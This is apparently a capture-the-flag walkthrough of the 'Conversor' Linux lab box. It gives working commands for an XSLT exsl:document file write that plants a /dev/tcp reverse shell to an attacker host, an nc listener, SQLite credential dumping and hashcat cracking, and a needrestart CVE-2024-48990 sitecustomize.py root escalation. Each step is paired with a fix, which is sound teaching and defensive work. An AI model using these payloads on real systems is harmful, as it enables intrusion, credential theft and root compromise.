← all walkthroughs

Conversor

Linux· Easy
owned
2026-07-06
time to own
9m18s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Target Conversor ($TARGET) hosts a file-conversion web application on Apache 2.4.52. After registering an account and downloading a source-code archive, my found that the converter passed user-supplied XSLT stylesheets to a processor with the EXSLT exsl:document extension enabled, allowing any authenticated user to write arbitrary files to the server filesystem. A malicious stylesheet overwrote a script that a root-owned cron job executed on a regular interval; when the scheduler fired, a reverse shell arrived as the www-data web user.

Looting the application's SQLite user database from that shell yielded the password for local account fismathack in recoverable form — the same password was reused as the user's SSH login, providing an interactive shell and the user flag. On that account, an unpatched installation of needrestart (CVE-2024-48990) inherited my PYTHONPATH, loading a malicious sitecustomize.py as root; the module created a SUID copy of bash that delivered the root flag.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD2="<a-password-you-choose>"

Attack path — how the box was taken

1EnumerationNetwork service enumeration (T1046)
Mapped open services and discovered the file-conversion web application
A port scan of $TARGET found SSH on 22 (OpenSSH 8.9p1 Ubuntu) and an Apache 2.4.52 web server on 80. Adding conversor.htb to the local hosts file surfaced a file-conversion web application that accepted document uploads and returned converted output — a file-processing attack surface with user-controlled input.
Server: Apache/2.4.52 (Ubuntu) confirmed in HTTP response headers; POST /convert on conversor.htb returns HTTP 302.
Exact commands 3
Full TCP sweep with version detection; reveals ports 22 and 80.
nmap -sC -sV -p- --min-rate 5000 -oA conversor $TARGET
Register the virtual host for name-based access.
echo "$TARGET conversor.htb" | sudo tee -a /etc/hosts
Confirm app is reachable and record the Server header.
curl -si http://conversor.htb/
2EnumerationSource code disclosure and XSLT EXSLT feature analysis
Registered an account and obtained the application source code
The web application allowed open self-registration. Once logged in, an authenticated endpoint served a source-code archive (source_code.tar.gz). Code review showed the conversion back-end fed uploaded XSLT stylesheets directly into an XSLT processor with the EXSLT extension namespace enabled — critically including exsl:document, a function that writes an output tree to a caller-specified filesystem path.
Exact commands 3
Register an account; adjust field names to match the actual registration form.
curl -sc /tmp/conv.jar -X POST http://conversor.htb/register -d "username=$USERNAME&password=$PASSWORD2&email=$USERNAME@test.local" -L
Download and unpack the source archive while authenticated.
curl -sb /tmp/conv.jar http://conversor.htb/source_code.tar.gz -o /tmp/source_code.tar.gz && mkdir -p /tmp/src && tar -xzf /tmp/source_code.tar.gz -C /tmp/src/
Confirm EXSLT file-write support is enabled in the XSLT processing code.
grep -rn 'exsl\|exslt\|extension-element\|exsl:document' /tmp/src/
FixDisable the EXSLT exsl:document extension in the XSLT processorCritical
WeaknessThe file-conversion feature processed user-supplied XSLT stylesheets with the EXSLT exsl:document extension enabled and no restriction on the output file path, allowing any authenticated user to write arbitrary content to any filesystem path the web process could reach.
FixDisable exsl:document and all other EXSLT output-file extensions at the processor level — in libxslt pass XSLT_PARSE_OPTIONS to block extension functions; in Saxon set the Feature.ALLOW_EXTERNAL_FUNCTIONS property to false. If the application genuinely needs multi-document output, sandbox the processor to a dedicated temp directory using a seccomp/AppArmor profile that restricts write access to that single path, and reject any stylesheet whose href attribute references a path outside it.
3ExploitationXSLT EXSLT arbitrary file write (CWE-73 / T1190)
Uploaded a malicious XSLT stylesheet to write a reverse-shell script via exsl:document
Because the XSLT processor placed no restriction on the exsl:document output path, a stylesheet was crafted that wrote a bash reverse-shell script to a server path that a cron job was found (via source review) to execute periodically. The /convert endpoint accepted the file while authenticated and processed it immediately, silently planting the payload on disk with no error returned.
Exact commands 3
Replace $ATTACKER_IP with your tun0 address and the href with the cron script path identified from source review.
cat > /tmp/shell.xslt << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:exsl="http://exslt.org/common"
  extension-element-prefixes="exsl">
  <xsl:template match="/">
    <exsl:document href="/var/www/conversor/cron_jobs/run.sh" method="text">
      <xsl:text>#!/bin/bash&#xA;bash -i &gt;&amp; /dev/tcp/$ATTACKER_IP/4444 0&gt;&amp;1&#xA;</xsl:text>
    </exsl:document>
  </xsl:template>
</xsl:stylesheet>
EOF
Start the listener before uploading; run in a separate terminal.
nc -lvnp 4444
Submit the malicious stylesheet; the processor writes the reverse-shell script to the target path.
curl -sb /tmp/conv.jar -X POST http://conversor.htb/convert -F 'file=@/tmp/shell.xslt;type=text/xml'
4FootholdCron-triggered command execution (T1053.003)
Cron executed the overwritten script, delivering a shell as www-data
A scheduled cron task on the server ran the script that was overwritten in the previous step. Within the scheduler's interval the reverse-shell callback connected to my listener, establishing command execution as the www-data web user. No PTY was available (python3 and the script utility were absent on the target), but the raw shell was sufficient for filesystem enumeration.
Exact commands 3
Run in the reverse shell to confirm execution context (uid=33 www-data) and target IP ($TARGET).
id; hostname; hostname -I
Search for the application's SQLite credential store from the www-data shell.
find / -name 'users.db' 2>/dev/null
Copy the database to /tmp for exfiltration; adjust path to the result found above.
cp /path/to/users.db /tmp/users.db && cat /tmp/users.db | xxd | head -20
FixEnsure no cron-executed script is writable by the web service accountHigh
WeaknessA cron job ran a shell script stored in a directory writable by the www-data process. Once an unauthorised user could write arbitrary files via the XSLT flaw, they could overwrite the cron script and have their payload executed automatically by the scheduler.
FixAudit all cron jobs (crontab -l for each user, /etc/cron.d/, /etc/cron.*/) and verify every target script is owned by root and not writable by any non-root account (chmod 750, chown root:root). Move cron scripts out of web-served or web-writable directories entirely. Consider replacing cron shell scripts with systemd timer units running under a dedicated non-web service account to make the privilege boundary explicit.
5Credential AccessCredentials from files — SQLite database (T1552.001)
Extracted and cracked the application's SQLite user database to recover fismathack's password
The file-conversion application stored user account data in a SQLite database reachable from the www-data shell. The database contained a credential entry for local OS account fismathack. The password was stored in a form that could be recovered directly or cracked against a common wordlist, yielding the plaintext [REDACTED: recovered credential]
Exact commands 3
List tables in the database; run locally after transferring users.db via base64 or a wget/curl pull.
sqlite3 users.db '.tables'
Dump all user rows; note any hash or plaintext password column for fismathack.
sqlite3 users.db 'SELECT * FROM users;'
Crack an MD5 hash if the password is not stored in plaintext; result: [REDACTED: recovered credential]
hashcat -m 0 '<hash_value>' /usr/share/wordlists/rockyou.txt --force
FixSeparate application credentials from OS account credentials and hash passwords properlyCritical
WeaknessThe web application's SQLite database stored the password for local OS user fismathack in a recoverable form. Anyone who reached the filesystem as www-data could extract it and immediately reuse it for SSH login, collapsing the application-tier and OS-tier security boundaries into one.
FixApplication user accounts must be entirely independent of OS accounts — never derive or store OS passwords inside application databases. Hash all application passwords with a modern adaptive algorithm (Argon2id or bcrypt, cost factor ≥ 12). Rotate the fismathack OS password immediately and audit /etc/passwd for any other account names that overlap with application users. Enforce SSH key-only authentication and disable password-based SSH login for standard user accounts.
6Lateral MovementValid accounts / credential reuse (T1078)
SSH'd in as fismathack using the harvested credential
The password recovered from users.db matched fismathack's SSH login. This credential reuse — storing an OS account password inside the web application's database — turned a read-only filesystem access into a full interactive shell as a regular user and exposed the user flag.
Sshpass -p '[REDACTED: recovered credential]' ssh fismathack@$TARGET 'id; hostname; cat /home/fismathack/user.txt' executes and captures the flag.
Exact commands 2
Password: [REDACTED: recovered credential] — delivers an interactive SSH session as fismathack.
ssh fismathack@$TARGET
Read the user flag: <user.txt>
cat /home/fismathack/user.txt
7Privilege Escalationneedrestart PYTHONPATH injection — CVE-2024-48990 (T1574.006)
Exploited needrestart CVE-2024-48990 via PYTHONPATH injection to reach root
The server ran a version of needrestart prior to 3.8, which inherits the calling user's PYTHONPATH when it invokes Python. By dropping a malicious sitecustomize.py into /dev/shm and setting PYTHONPATH to that directory before triggering needrestart (via an apt operation or a cron-invoked package-management hook), the Python interpreter loaded my module under the root context. The module copied /bin/bash to /tmp/rootbash and set the SUID bit. Running /tmp/rootbash -p escalated to a root effective UID and the root flag was read.
Creates /dev/shm/sitecustomize.py with 'cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash'; subsequent /tmp/rootbash -p delivers root access.
Exact commands 4
Write the malicious Python module; it only fires the payload when loaded as root.
cat > /dev/shm/sitecustomize.py << 'PY'
import os
if os.geteuid() == 0:
    os.system('cp /bin/bash /tmp/rootbash; chown root:root /tmp/rootbash; chmod 4755 /tmp/rootbash')
PY
Trigger needrestart with PYTHONPATH set; adjust to whatever invocation fismathack can perform (sudo apt, a cron hook, etc.). Confirm rootbash appears with SUID bit (-rwsr-xr-x).
PYTHONPATH=/dev/shm sudo apt-get install -y --reinstall needrestart 2>/dev/null; ls -la /tmp/rootbash
Open a root-privileged shell; -p preserves the SUID effective UID.
/tmp/rootbash -p
Read the root flag: <root.txt>
cat /root/root.txt
FixPatch needrestart to version 3.8 or later to close CVE-2024-48990High
WeaknessThe installed version of needrestart (< 3.8) forwarded the calling user's PYTHONPATH environment variable when it invoked Python as root, allowing a local user to inject a malicious sitecustomize.py module that executed arbitrary commands in the root context.
FixUpgrade needrestart immediately: sudo apt-get update && sudo apt-get install --only-upgrade needrestart. Version 3.8 strips untrusted interpreter-path environment variables before invoking Python, Perl, and Ruby. As defence in depth, review sudoers and SUID binaries that can invoke package-management hooks under user-controlled environments, and consider pinning PYTHONPATH to an empty value in any sudo rule that calls apt or dpkg.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Cron Job AbuseLinux · Privilege EscalationT1053.003

What it is

Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.

Why it works

Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.

Read more

Exposed services

22/tcp
80/tcp